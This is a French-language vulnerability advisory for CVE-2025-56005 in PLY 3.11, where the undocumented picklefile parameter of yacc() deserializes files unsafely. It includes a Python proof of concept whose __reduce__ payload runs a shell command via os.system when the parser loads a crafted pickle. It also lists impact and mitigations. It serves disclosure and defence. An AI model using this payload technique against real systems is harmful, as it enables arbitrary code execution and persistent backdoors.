Retour aux mises à jour
UpdatedSep 2, 2026

Undocumented-RCE-in-PLY — Mis à jour !

RCE non documentée dans PLY via le paramètre `picklefile`

Partager

Exécution de code à distance non documentée dans PLY CVE‑2025‑56005

CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

Résumé

Une fonctionnalité non documentée et dangereuse dans la version de PLY 3.11 distribuée via PyPI permet une exécution de code arbitraire lorsque la fonction yacc() est invoquée avec le paramètre picklefile.

Le paramètre picklefile amène PLY à désérialiser un fichier .pkl à l'aide de pickle.load() de Python sans validation. Étant donné que le module pickle de Python permet l'exécution de code arbitraire lors de la désérialisation (par exemple, via __reduce__()), un attaquant capable de contrôler le fichier pickle fourni peut exécuter du code arbitraire lors de l'initialisation du parseur.

Ce paramètre n'est pas documenté dans la documentation officielle de PLY ni dans le dépôt GitHub, mais il est actif dans la version publiée sur PyPI.


Impact

Si un attaquant peut contrôler, remplacer ou influencer le fichier .pkl transmis à yacc(picklefile=...), il peut obtenir :

  • L'exécution de code arbitraire
  • L'exécution au démarrage de l'application
  • L'exécution de code avant que toute logique d'analyse ne soit atteinte

Cela peut affecter les applications qui chargent les tables du parseur depuis :

  • Des emplacements mis en cache
  • Des répertoires partagés
  • Des pipelines CI/CD
  • Des chemins configurables ou inscriptibles

🔍 Détails de la vulnérabilité

  • Type de vulnérabilité : Exécution de code arbitraire
  • Type d'attaque : Dépendant du contexte
  • Vecteur d'attaque : Désérialisation non sécurisée d'un fichier pickle contrôlé par l'attaquant
  • Impact : Exécution de code
  • CWE : CWE‑502 (Désérialisation de données non fiables)

Fonctionnalité affectée

  • ply.yacc.yacc(picklefile=...)
  • LRTable.read_pickle() dans ply/yacc.py

Informations complémentaires (contexte et risque)

Cette vulnérabilité présente un risque élevé en raison de sa nature furtive et de son potentiel de persistance.

Le paramètre picklefile est non documenté dans la documentation officielle de PLY et dans le dépôt GitHub. Cependant, la version de PLY 3.11 distribuée via PyPI inclut cette fonctionnalité et traite le fichier fourni à l'aide de pickle.load() sans validation.

Étant donné que le module pickle de Python permet l'exécution de code intégré lors de la désérialisation, un fichier pickle malveillant peut exécuter du code arbitraire lors de la configuration du parseur, avant que toute logique d'analyse ne soit invoquée.

Au moment de la rédaction, le mainteneur n'a pas publiquement reconnu ce comportement.

Cette fonctionnalité peut être exploitée pour introduire des portes dérobées persistantes, en particulier dans les environnements où les fichiers de tables du parseur sont :

  • Mis en cache sur disque
  • Partagés entre utilisateurs ou services
  • Générés ou réutilisés dans des pipelines CI/CD
  • Chargés depuis des chemins configurables ou inscriptibles

Compte tenu de l'absence de documentation, du chemin d'exécution silencieux et de l'impact élevé d'une désérialisation non sécurisée, l'attribution d'un CVE est justifiée afin de sensibiliser et de protéger les utilisateurs en aval.


Preuve de concept (PoC)

Cette preuve de concept démontre l'exécution de code arbitraire lorsqu'un fichier pickle malveillant est fourni via le paramètre picklefile non documenté.

Aperçu de la PoC

La PoC :

  • Définit un lexer et un parseur minimaux
  • Fabrique une charge utile pickle malveillante
  • Exécute une commande système lors de la désérialisation

Résultat attendu

Lorsque yacc(picklefile='exploit.pkl') est invoqué, du code arbitraire est exécuté lors de l'initialisation du parseur.

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

Atténuation

  • N'utilisez pas le paramètre picklefile avec des fichiers non fiables ou inscriptibles par des tiers
  • Évitez de charger les tables du parseur depuis des emplacements contrôlés par l'utilisateur
  • Traitez tous les fichiers pickle comme des entrées non fiables
  • Préférez régénérer les tables du parseur plutôt que de les charger depuis le disque

Références

Catégories